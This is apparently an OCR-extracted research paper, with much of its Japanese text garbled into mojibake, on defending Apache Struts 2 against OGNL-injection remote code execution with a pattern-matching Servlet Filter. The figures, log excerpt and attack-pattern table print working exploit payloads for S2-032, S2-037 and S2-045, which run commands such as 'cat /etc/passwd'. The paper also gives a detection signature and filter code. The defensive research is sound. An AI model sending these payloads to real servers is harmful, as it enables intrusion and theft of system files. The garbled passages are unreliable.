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A method for defending vulnerabilities of Struts 2
caused by OGNL
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Abstract: Apache Struts 2 is an open-source web application framework for development and widely used in Japan.

Recently, some vulnerabilities leveraging Object Graph Navigation Language (OGNL) used by Struts 2 that allow Remote code
execution are found. Protecting web applications is becoming difficult if there are some countermeasures for attacking, because
sometimes exploit codes are published almost the same time that vulnerabilities are published. For that reason, we observed many
attacks in Japan. Therefore, in this study, we propose protecting method that focus on expression of OGNL. We tested whether it
is possible to detect and protect from attacks by using Servlet Filter which blocks specific patterns even if it is unknown
vulnerabilities.
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Figure 1 ~ Overview of Struts 2
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2.1 Object Graph Navigation Language (OGNL)

OGNL |, JSP(Java Server Pages)’¢ & D View % SEHE7 5
AT UVIIND Java 7 T ADTaRT 40X v RIZT
78 ACTE 5K E5EDTHS. Struts 2 13 OGNL Z 7z
Web 7 7Y r—3a VORREEZFR— ML TED, Struts2
WEZB W T H DI TNS. X 21X OGNL OfITH 5,

<View (JSP with OGNL) >
<s:property value="% {sampleList.size}"/>

<s:property value="% {sampleList[0]}"/>

< Action (Java Class) >
public class SampleAction extends ActionSupport {
private List<String> sampleList;
public List<String> getSampleList() {
return sampleList;
}
public void setSampleList(List<String> sampleList) {

this.sampleList = sampleList;
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Table 1 ~ Examples of vulnerabilities caused by OGNL.
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S2-045 CVE-2017- | multipart/form-data % ZLEE 4%
5638 Struts 2 fEHED /S—H DT F
—HIARBEAER DY,
ContentType 25 £ 5
OGNL ##HfliL TL % 9
$2-046 CVE-2017- | multipart/form-data % ZLEE4" %
5638 Struts 2 FEHED X—H DT Z
—ICREAENRH Y,
V7 ZRAMNRTAIZEEND
OGNL ###fliL TL % 9

B 2 OGNL O
Figure2  An example of OGNL
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Figure 3 An example of attacks leveraging OGNL
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V72X OB THD. AifagtETix, V272X b~y ¥
@ Content-Type |Z OGNL & Zie (B — RBEESNLD.

Content-Type: % {(#nike='multipart/form-data').(#dm=@ognl .
OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#
_memberAccess=#dm):((#container=#context['com.opensymphony.xw
ork2. ActionContext.container']).(#ognlUtil=#container.getInstance(@c
om.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExclu
dedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(
#context.setMemberAccess(#dm)))).(#cmd='cat
/etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toL
owerCase().contains('win"))).(#cmds=(#iswin? {'cmd.exe','/c',#cmd} : {'/b
in/bash','-c' #cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#proc
ess=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@get
Response().getOutputStream())).(@org.apache.commons.io.IOUtils@c
opy(#process.getInputStream(),#ros)).(#ros.flush()) }
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Figure 4  An example of malicious request leveraging OGNL
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Figure 5  Overview of Servlet Filter
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private static final String SIGNATURE _OGNL =
"OgnlContext|OgnlUtil[#context|@DEFAULT MEMBER ACCES
S[# memberAccess";

I =Ty FTZANFDT g ) AL doFilter A
Yy RIZERTD

public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain)

throws java.io.JOException, javax.servlet.ServletException

/) 7= A KNURI, 7=
UMEENINTF 2w IT D
if (p.matcher(uri).find()) {
/ SeeretException FAa—d35&, 77V r—varPh—n
ko TH =Rz T —nRAIEND

System.out.println("Malicious URL:" + uri);

VI TANRT 41T H—

throw new
ServletException(ERROR_INVALID REQUEST);

} else if (null = query && p.matcher(query).find()) {
System.out.println("Malicious query string:" + query);
throw new

ServletException(ERROR_INVALID REQUEST);

} else if (p.matcher(body).find()) {
System.out.println("Malicious Request body:" + body);
throw new

ServletException(ERROR_INVALID REQUEST);
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Figure 6  Implementation example of the Servlet Filter (excerpt)
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<filter>
<filter-name>myfilter</filter-name>
<filter-class>myfilter.ServletFilterForOGNL</filter-class>

<[filter>

<filter-mapping>
<filter-name>myfilter</filter-name>
<url-pattern>/*</url-pattern>

</[filter-mapping>

BGREDRER, & 3R T M2 BT 2K ®,Y 7 X
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Figure 7 An example of configuration for web.xml
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Table 2  Test environments.
a5 M Struts 2 O F 7 4V RS AEFE M
NR—= g VB IRBE
$2-032 2.3.28 DMI % A zhik.
S2-037 2.3.28.1 struts.ognl.enableOGNLEvalExp
ression % true (% E
S2-045 2.3.31 Bz L
S2-046 2.3.31 struts.multipart.parser % jakarta-

> Lt

stream (ZFXE

42 HBREEER
ARV —7 1y F 7 40 ZI2L D, OGNL AT 5
BWeT T T DR A HE TE 20 MAE LT, BEEIC

FEALEHBY 722 MZOWTIEHME A2 22O Z L.
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Table 3  Test results
Masstt | HBY =X b | KEY 7T |R BH4H AT 2
INH— ZIRE T HAEFT
S2-032 1 DR/==0 S (@]
URI(Z =)
S2-037 2 D70 S N (@)
URI(S R)
S2-045 3 U7X b~y (@)
pe
S2-046 4 U 7T ART 4 @]

X8Ik, WBY /X Nl LBy —7 Ly b7
A NERH D LT 7Y r—3v a3 Y —/3(Tomeat) 2 7 D
—flTHD.

Servlet Filter: myfilter.ServletFilterForOGNLCalled.

Malicious request header:content-type: %{(#nike="multipart/form-
data’).(#dm=@ognl . OgnlContext
@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_membe
rAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.
ActionContext.container']).(#ognlUtil=#container.getInstance(@co
m.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExc
ludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().cle
ar()).(#context.setMemberAccess(#dm)))).(#cmd="cat
[etc/passwd’). (#iswin=(@java.lang.System@getProperty(‘0os.name’).
toLowerCase().contains(‘win"))).(#cmds=(#iswin?{'cmd.exe','/c' #c
md}:{'/bin/bash’,'-c' #cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#
process=#p.start()).(#ros=(@org.apache.struts2.ServletActionConte
xt@getResponse().getOutputStream())).(@org.apache.commons.io.
I0Utils@copy(#process.getinputStream() #ros)).(#ros.flush())}

8 Y=Ly b7 NFIZLDHEWT R T DB
Figure 8  An example of log for protection using the Servlet

Filter
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Table 4 Patterns of attack request
N = WY 72k
1 %?23_memberAccess%3d@ognl.OgnlContext@DEFAUL
T _MEMBER_ACCESS%2C@java.lang.Runtime@getR
untime().exec(%23parameters.command[0]),new%20jav
a.lang. String=&res=com.opensymphony.xwork2.dispatch

er.HttpServletResponse&command=touch%20%2ftmp%
2fexploit

2 %23 _memberAccess%3d@ognl.OgnlContext@DEFAUL
T MEMBER_ ACCESS,@java.lang.Runtime@getRunti
me%28%29.exec%28%23parameters.command[0]),%23
xx%3d123,%23xx.toString.json?&command=touch%20
%2ftmp%2fexploit

3 %{(#nike='multipart/form-data').(#dm=@ognl .
OgnlContext

@DEFAULT MEMBER_ACCESS).(# memberAccess?
(#_memberAccess=#dm):((#container=#context['com.op
ensymphony.xwork?2.ActionContext.container']).(#ognlU
til=#container.getInstance(@com.opensymphony.xwork2
.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageN
ames().clear()).(#ognlUtil.getExcludedClasses().clear()).(
#context.setMemberAccess(#dm)))).(#cmd='cat
/etc/passwd').(#iswin=(@java.lang.System@getProperty(
'os.name').toLowerCase().contains('win'"))).(#cmds=(#isw
in?{'cmd.exe',’/c"#cmd}:{'/bin/bash’,'-
c'#emd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStrea
m(true)).(#process=tp.start()).(#ros=(@org.apache.struts
2.ServletActionContext@getResponse().getOutputStrea
m())).(@org.apache.commons.io.IOUtils@copy(#process
.getInputStream(),#ros)).(#ros.flush())}

4 % {#context['com.opensymphony.xwork?2.dispatcher. Http
ServletResponse'].addHeader("X-Check-Struts', 'S2-045
VULNERABLE!!")}.multipart/form-data
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